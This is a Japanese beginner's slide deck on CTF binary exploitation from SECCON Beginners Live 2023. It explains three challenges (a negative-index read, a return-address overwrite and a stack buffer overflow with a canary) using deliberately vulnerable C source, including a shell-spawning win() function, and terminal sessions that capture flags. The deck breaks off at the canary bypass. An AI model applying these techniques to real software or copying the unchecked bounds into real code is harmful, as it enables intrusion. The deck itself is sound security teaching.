Slide 1

Slide 1 text

pwn入門 2023/09/03 SECCON Beginners Live 2023 @Arata

Slide 2

Slide 2 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b 自己紹介 - Twitter(X): @arata_nvm - 所属 - SECCON Beginners 運営チーム - 筑波大学 - 興味のあること - 型理論 - 言語処理系 - Beginners CTF 2023で担当した問題 - Reversing: heaven - Pwnable: poem, rewriter2 2

Slide 3

Slide 3 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b 今日話すこと - ターゲット - CTFを始めたばかりの方 - pwnに興味を持っている方 - ゴール - pwnのbeginner~easy問題を調べながら解けるようになる 3

Slide 4

Slide 4 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b 今日話すこと ● pwnの概要 ● 問題解説 ○ poem ○ rewriter (Beginners CTF 2022) ○ rewriter2 4

Slide 5

Slide 5 text

pwnの概要

Slide 6

Slide 6 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnとは - 脆弱性のあるプログラムを攻撃して、サーバー内に保存されている flag(文字列)を入手する問題ジャンル - pwnableやbinary exploitationとも呼ばれることがある 6 1. 攻撃 プレイヤー サーバー プログラム flag 2. flagを入手

Slide 7

Slide 7 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnの出題例 - プレイヤーに与えられるもの - 問題名 - 問題文 - バイナリ - サーバーへの接続情報 - (ソースコード) 7 https://pwnable.xyz/

Slide 8

Slide 8 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnの基本的な解き方 1. 脆弱性を含むプログラムが配布される 2. プログラムを解析して脆弱性を特定する 3. サーバー上で動くプログラムを攻撃してflagを入手する 8

Slide 9

Slide 9 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnの基本的な解き方 - flagが保存されている場所 - メモリ - ファイル - 環境変数 - flagを入手する手段 - flagを表示する関数を呼び出す - flagを読み込んで送信するコードを実行させる - シェルを実行させる 9

Slide 10

Slide 10 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b 補足: シェル - テキストベースでOSを操作するためのソフトウェア - コマンドを介してプログラムの実行、ファイルの操作などが行える - Linuxではsh, bash, zshなどが使われる 10 $ cd ctf4b-live $ ls flag.txt $ cat flag.txt ctf4b{w3lc0me_t0_s3cc0n_b3g1nn3rs_l1v3_2023!}

Slide 11

Slide 11 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b Beginners CTF 2023の結果(pwn) 問題名 想定難易度 solve数 poem beginner 292 rewriter2 easy 95 Forget_Some_Exploit easy 51 Elementary_ROP medium 52 driver4b medium 19 No_Control hard 15 11

Slide 12

Slide 12 text

問題解説

Slide 13

Slide 13 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / 問題概要 - Beginner問題 - 292 solves - 配布ファイル - 問題バイナリ - 問題バイナリのソースコード - 作問テーマ - 符号付き整数の範囲チェックにおける脆弱性を発見できること 13

Slide 14

Slide 14 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの挙動 - プログラムを実行すると数値の入力を促される - 0~4の数値を入力すると対応するポエムが表示される $ ./poem Number[0-4]: 0 In the depths of silence, the universe speaks. 14

Slide 15

Slide 15 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの挙動 - 4より大きい数値を入力すると何も表示せずに終了する $ ./poem Number[0-4]: 5 15

Slide 16

Slide 16 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b 入力された数値が5未満 ならばポエムを表示する 数値を入力させる poem / ソースコード #include #include char *flag = "ctf4b{***CENSORED***}"; char *poem[] = { "In the depths of silence, the universe speaks.", [...] }; int main() { int n; printf("Number[0-4]: "); scanf("%d", &n); if (n < 5) { printf("%s\n", poem[n]); } return 0; } [...] flagとpoemをグローバル変 数として定義 16

Slide 17

Slide 17 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / ここまでにわかったこと - 入力した数値に応じてポエムを表示するプログラムが与えられた - 配列poemのインデックスに使用する値は5未満の任意の数値に設定できる - グローバル変数flagにアクセスできればフラグが入手できる 17

Slide 18

Slide 18 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの脆弱性 - 数値の範囲チェック(`n < 5`)に脆弱性がある - 変数nはint型 → 値の範囲は[-2,147,483,648, 2,147,483,647] - n < 5を満たす値の範囲は[-2,147,483,648, 4] - 配列poemのインデックスに負の数を指定できる 18 https://learn.microsoft.com/ja-jp/cpp/cpp/data-type-ranges?view=msvc-170

Slide 19

Slide 19 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの脆弱性 - 数値として-1を入力するとプログラムが異常終了する $ ./poem Number[0-4]: -1 Segmentation fault (core dumped) 19

Slide 20

Slide 20 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムが異常終了した原因 - 配列はメモリ上の連続した領域に配置される - インデックスが大きい要素は上位のアドレスに配置される 20 poem[0] poem[1] poem[2] poem[3] poem[4] メモリの模式図 ↓上位 ↑下位

Slide 21

Slide 21 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムが異常終了した原因 21 - インデックスに負の数を指定すると配列の前の領域にアクセスできる - 例ではpoem[-1]に無効なアドレスが置かれていたためsegfaultが発生した poem[-1] poem[0] poem[1] poem[2] poem[3] poem[4] メモリの模式図 ↓上位 ↑下位

Slide 22

Slide 22 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムが異常終了した原因 22 - インデックスに負の数を指定すると配列の前の領域にアクセスできる - 例ではpoem[-1]に無効なアドレスが置かれていたためsegfaultが発生した poem[-1] poem[0] poem[1] poem[2] poem[3] poem[4] メモリの模式図 もしflagが配列poemより下位の領域に 置かれていればアクセスできる ↓上位 ↑下位

Slide 23

Slide 23 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagとpoemのアドレスを調べる - nmコマンドを用いるとシンボルのアドレスを調べられる $ nm ./poem [...] 0000000000004020 D flag [...] 0000000000004040 D poem [...] 23

Slide 24

Slide 24 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagとpoemのアドレスを調べる - flagとpoemはメモリ上で以下のように配置されている - 配列の1要素を8バイトとして想定 24 0x4020: flag 0x4028: 0x4030: 0x4038: 0x4040: poem[0] メモリの模式図 0x4048: poem[1]

Slide 25

Slide 25 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagとpoemのアドレスを調べる 25 0x4020: poem[-4], flag 0x4028: poem[-3] 0x4030: poem[-2] 0x4038: poem[-1] 0x4040: poem[0] メモリの模式図 0x4048: poem[1] - flagとpoemはメモリ上で以下のように配置されている - 配列の1要素を8バイトとして想定

Slide 26

Slide 26 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagを入手する - アドレスの情報からflagがpoem[-4]の位置に置かれていることがわかった - -4を入力するとflagが手に入る $ ./poem Number[0-4]: -4 ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3} 26

Slide 27

Slide 27 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / まとめ - 脆弱性 - 符号付き整数の範囲チェックが正しく行われていなかった - 解法 1. flagとpoemのアドレスを調べる 2. flagのアドレスとpoem[-4]のアドレスが等しいことを確認する 3. flagを入手する 27

Slide 28

Slide 28 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter (Beginners CTF 2021) / 問題概要 - Beginners問題 - 205 solves - 配布ファイル - 問題バイナリ - 問題バイナリのソースコード 28

Slide 29

Slide 29 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / バイナリの挙動 - プログラムを実行するとスタックの状態が表示される - その後、任意のアドレスの値を書き換えることができる $ ./chall [Addr] |[Value] ====================+=================== 0x00007ffcc782de90 | 0x0000000000000000 <- buf 0x00007ffcc782de98 | 0x0000000000000000 0x00007ffcc782dea0 | 0x0000000000000000 0x00007ffcc782dea8 | 0x0000000000000000 0x00007ffcc782deb0 | 0x0000000000000000 <- target 0x00007ffcc782deb8 | 0x0000000000000000 <- value 0x00007ffcc782dec0 | 0x0000000000000000 <- saved rbp 0x00007ffcc782dec8 | 0x00007f6a37738083 <- saved ret addr 0x00007ffcc782ded0 | 0x00007f6a37947620 0x00007ffcc782ded8 | 0x00007ffcc782dfb8 Where would you like to rewrite it? > 0x000000000000ffff 0x000000000000ffff = 0 29

Slide 30

Slide 30 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / ソースコード [...] void win() { execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); } int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; show_stack(buf); printf("Where would you like to rewrite it?\n> "); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; target = strtol(buf, NULL, 0); printf("0x%016lx = ", target); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; value = strtol(buf, NULL, 0); *(long*)target = value; } [...] 30 flagを表示する関数 スタックの状態を表示する 指定されたアドレスの値を 書き換える

Slide 31

Slide 31 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / ここまでにわかったこと - 最初にスタックのアドレスと値を知ることができる - 1回だけ任意のアドレスの値を書き換えることができる - win関数を呼び出せばflagが手に入る 31

Slide 32

Slide 32 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタック - 実行中の関数に関するデータが置かれるメモリの領域 - pwnの文脈ではコールスタックのことを指す場合が多い - 以下のデータが置かれている - ローカル変数 - 引数 - リターンアドレス 32

Slide 33

Slide 33 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタック上のローカル変数 int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; [...] } [Addr] |[Value] ====================+=================== 0x00007ffcc782de90 | 0x0000000000000000 <- buf 0x00007ffcc782de98 | 0x0000000000000000 0x00007ffcc782dea0 | 0x0000000000000000 0x00007ffcc782dea8 | 0x0000000000000000 0x00007ffcc782deb0 | 0x0000000000000000 <- target 0x00007ffcc782deb8 | 0x0000000000000000 <- value 0x00007ffcc782dec0 | 0x0000000000000000 <- saved rbp 0x00007ffcc782dec8 | 0x00007f6a37738083 <- saved ret addr 0x00007ffcc782ded0 | 0x00007f6a37947620 0x00007ffcc782ded8 | 0x00007ffcc782dfb8 - main関数ではローカル変数としてtarget, value, bufが定義されている 33

Slide 34

Slide 34 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタック上のリターンアドレス - 関数の処理が終わったあと、どこから実行を再開すればよいかの情報が スタック上にリターンアドレスとして記憶されている - 問題バイナリでは__libc_start_main関数内のアドレスが記憶されている [Addr] |[Value] ====================+=================== 0x00007ffcc782de90 | 0x0000000000000000 <- buf 0x00007ffcc782de98 | 0x0000000000000000 0x00007ffcc782dea0 | 0x0000000000000000 0x00007ffcc782dea8 | 0x0000000000000000 0x00007ffcc782deb0 | 0x0000000000000000 <- target 0x00007ffcc782deb8 | 0x0000000000000000 <- value 0x00007ffcc782dec0 | 0x0000000000000000 <- saved rbp 0x00007ffcc782dec8 | 0x00007f6a37738083 <- saved ret addr 0x00007ffcc782ded0 | 0x00007f6a37947620 0x00007ffcc782ded8 | 0x00007ffcc782dfb8 34

Slide 35

Slide 35 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 35 0x01: 0x02: スタックの模式図 main

Slide 36

Slide 36 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 36 スタックの模式図 main 0x01: 0x02:

Slide 37

Slide 37 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 37 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) 0x01: 0x02:

Slide 38

Slide 38 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 38 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) 0x01: 0x02:

Slide 39

Slide 39 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 39 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) func2: ローカル変数(fuga) func2: リターンアドレス(0x02) 0x01: 0x02:

Slide 40

Slide 40 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 40 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) func2: ローカル変数(fuga) func2: リターンアドレス(0x02) 0x01: 0x02:

Slide 41

Slide 41 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 41 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) 0x01: 0x02:

Slide 42

Slide 42 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例 void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 42 スタックの模式図 main 0x01: 0x02:

Slide 43

Slide 43 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / flagを手に入れるには - 目指すこと - win関数を呼び出す - できること - win関数のアドレスがわかる - どのアドレスにリターンアドレスが置かれているかがわかる - 任意のアドレスの値を書き換えることができる → リターンアドレスをwin関数のアドレスに書き換えればflagが手に入る 43

Slide 44

Slide 44 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / win関数のアドレスを調べる - nmコマンドを用いるとwin関数が0x4011f6に位置することがわかる $ nm ./chall [...] 00000000004011f6 T win 44

Slide 45

Slide 45 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / flagを入手する $ ./chall [Addr] |[Value] ====================+=================== 0x00007ffec2cb8460 | 0x0000000000000000 <- buf 0x00007ffec2cb8468 | 0x0000000000000000 0x00007ffec2cb8470 | 0x0000000000000000 0x00007ffec2cb8478 | 0x0000000000000000 0x00007ffec2cb8480 | 0x0000000000000000 <- target 0x00007ffec2cb8488 | 0x0000000000000000 <- value 0x00007ffec2cb8490 | 0x0000000000000000 <- saved rbp 0x00007ffec2cb8498 | 0x00007f3c2898b083 <- saved ret addr 0x00007ffec2cb84a0 | 0x00007f3c28b9a620 0x00007ffec2cb84a8 | 0x00007ffec2cb8588 Where would you like to rewrite it? > 0x00007ffec2cb8498 0x00007ffec2cb8498 = 0x4011f6 - リターンアドレスを0x4011f6に書き換える - flagが手に入る 45

Slide 46

Slide 46 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / flagを入手する $ ./chall [Addr] |[Value] ====================+=================== 0x00007ffec2cb8460 | 0x0000000000000000 <- buf 0x00007ffec2cb8468 | 0x0000000000000000 0x00007ffec2cb8470 | 0x0000000000000000 0x00007ffec2cb8478 | 0x0000000000000000 0x00007ffec2cb8480 | 0x0000000000000000 <- target 0x00007ffec2cb8488 | 0x0000000000000000 <- value 0x00007ffec2cb8490 | 0x0000000000000000 <- saved rbp 0x00007ffec2cb8498 | 0x00007f3c2898b083 <- saved ret addr 0x00007ffec2cb84a0 | 0x00007f3c28b9a620 0x00007ffec2cb84a8 | 0x00007ffec2cb8588 Where would you like to rewrite it? > 0x00007ffec2cb8498 0x00007ffec2cb8498 = 0x4011f6 (続き) [Addr] |[Value] ====================+=================== 0x00007ffec2cb8460 | 0x3666313130347830 <- buf 0x00007ffec2cb8468 | 0x343862633263000a 0x00007ffec2cb8470 | 0x00000000000a3839 0x00007ffec2cb8478 | 0x0000000000000000 0x00007ffec2cb8480 | 0x00000000004011f6 <- target 0x00007ffec2cb8488 | 0x00007ffec2cb8498 <- value 0x00007ffec2cb8490 | 0x0000000000000000 <- saved rbp 0x00007ffec2cb8498 | 0x00000000004011f6 <- saved ret addr 0x00007ffec2cb84a0 | 0x00007f3c28b9a620 0x00007ffec2cb84a8 | 0x00007ffec2cb8588 ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck} - リターンアドレスを0x4011f6に書き換える - flagが手に入る 46

Slide 47

Slide 47 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / まとめ - 解法 1. win関数のアドレスを調べる 2. main関数のリターンアドレスが置かれる場所を調べる 3. リターンアドレスをwin関数のアドレスに書き換える 4. flagを入手する 47

Slide 48

Slide 48 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / 問題概要 - Easy問題 - 95 solves - 配布ファイル - 問題バイナリ - 問題バイナリのソースコード - 作問テーマ - BOFを利用してリターンアドレスを書き換えられること 48

Slide 49

Slide 49 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / プログラムの挙動 - プログラムを実行すると名前と年齢を聞かれる $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | xxxxx hidden xxxxx <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 What's your name? hoge Hello, hoge [...] How old are you? fuga Thank you! [...] 49

Slide 50

Slide 50 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / プログラムの挙動 - スタックにcanaryが増えている $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | xxxxx hidden xxxxx <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 What's your name? hoge Hello, hoge [...] How old are you? fuga Thank you! [...] 50

Slide 51

Slide 51 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / ソースコード [...] int main() { char buf[BUF_SIZE]; __show_stack(buf); printf("What's your name? "); read(0, buf, READ_SIZE); printf("Hello, %s\n", buf); __show_stack(buf); printf("How old are you? "); read(0, buf, READ_SIZE); puts("Thank you!"); __show_stack(buf); return 0; } void win() { puts("Congratulations!"); system("/bin/sh"); } [...] 51 スタックの状態を表示する スタックの状態を表示する スタックの状態を表示する 名前を聞いてbufに 保存し表示する 年齢を聞きbufに保存する シェルを実行する

Slide 52

Slide 52 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / ここまでにわかったこと - スタックのアドレスと値を3回知ることができる - 実行直後 - 名前を入力したあと - 年齢を入力したあと - win関数を呼び出せばシェルを実行できる - → flagが手に入る - read関数によりbufに任意のデータを2回書き込むことができる - printf関数によりbufのデータを1回表示できる 52

Slide 53

Slide 53 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / プログラムの脆弱性 - BUF_SIZEは0x20 - READ_SIZEは0x100 - 0x20バイトのバッファーに対して0x100バイトのデータを読み込んでいる - バッファーの領域を超えてデータを 書き込むことができる脆弱性 = Buffer overflow(BOF) [...] #define BUF_SIZE 0x20 #define READ_SIZE 0x100 int main() { char buf[BUF_SIZE]; __show_stack(buf); printf("What's your name? "); read(0, buf, READ_SIZE); printf("Hello, %s\n", buf); [...] } 53

Slide 54

Slide 54 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF - BOFによりバッファーの上位にあるデータを書き換えることができる - main関数のリターンアドレスはバッファーbufの上位にある - =書き換えられる $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | xxxxx hidden xxxxx <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 54

Slide 55

Slide 55 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF $ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 55 0x20バイトより長い名前を入力する

Slide 56

Slide 56 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF $ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 56 0x20バイトより長い名前を入力する リターンアドレスが書き換えられる (0x41 = ‘A’)

Slide 57

Slide 57 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF $ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 57 0x20バイトより長い名前を入力する リターンアドレスが書き換えられる (0x41 = ‘A’) プログラムが異常終了する

Slide 58

Slide 58 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF - リターンアドレスは書き換えられたが、異常終了してしまった - スタックにおけるBOFを防ぐためのセキュリティ機構SSPが作動したため - SSP: Stack Smash Protection 58

Slide 59

Slide 59 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF $ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 59 canaryが書き換えられている

Slide 60

Slide 60 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの基本的なしくみ 1. 関数の最初: スタック上のローカル変数のリターンアドレスの間に、canaryと呼ばれ るランダムな値を配置する 2. 関数の最後: canaryが1の値と等しいことを確認する a. 等しい場合: BOFによってリターンアドレスが書き換えられていない b. 等しくない場合: BOFによってリターンアドレスが書き換えられている → その時点でプログラムを終了させる 60 0x00000000: ローカル変数 0x44739274: canary 0x00040020: リターンアドレ ス メモリの模式図

Slide 61

Slide 61 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの基本的なしくみ 1. 関数の最初: スタック上のローカル変数のリターンアドレスの間に、canaryと呼ばれ るランダムな値を配置する 2. 関数の最後: canaryが1の値と等しいことを確認する a. 等しい場合: BOFによってリターンアドレスが書き換えられていない b. 等しくない場合: BOFによってリターンアドレスが書き換えられている → その時点でプログラムを終了させる 61 0x41414141: ローカル変数 0x44739274: canary 0x00040020: リターンアドレ ス メモリの模式図

Slide 62

Slide 62 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの基本的なしくみ 1. 関数の最初: スタック上のローカル変数のリターンアドレスの間に、canaryと呼ばれ るランダムな値を配置する 2. 関数の最後: canaryが1の値と等しいことを確認する a. 等しい場合: BOFによってリターンアドレスが書き換えられていない b. 等しくない場合: BOFによってリターンアドレスが書き換えられている → その時点でプログラムを終了させる 62 0x41414141: ローカル変数 0x41414141: canary 0x41414141: リターンアドレ ス メモリの模式図

Slide 63

Slide 63 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの回避 - SSPでプログラムを終了させずにBOFでリターンアドレスを書き換えたい - バッファーに2回書き込めることを利用する - 1回目の書き込み: BOFをうまく使ってcanaryの値をリークさせる - 2回目の書き込み: リークさせたcanaryの値を使いつつリターンアドレスを書き換え る 63

Slide 64

Slide 64 text

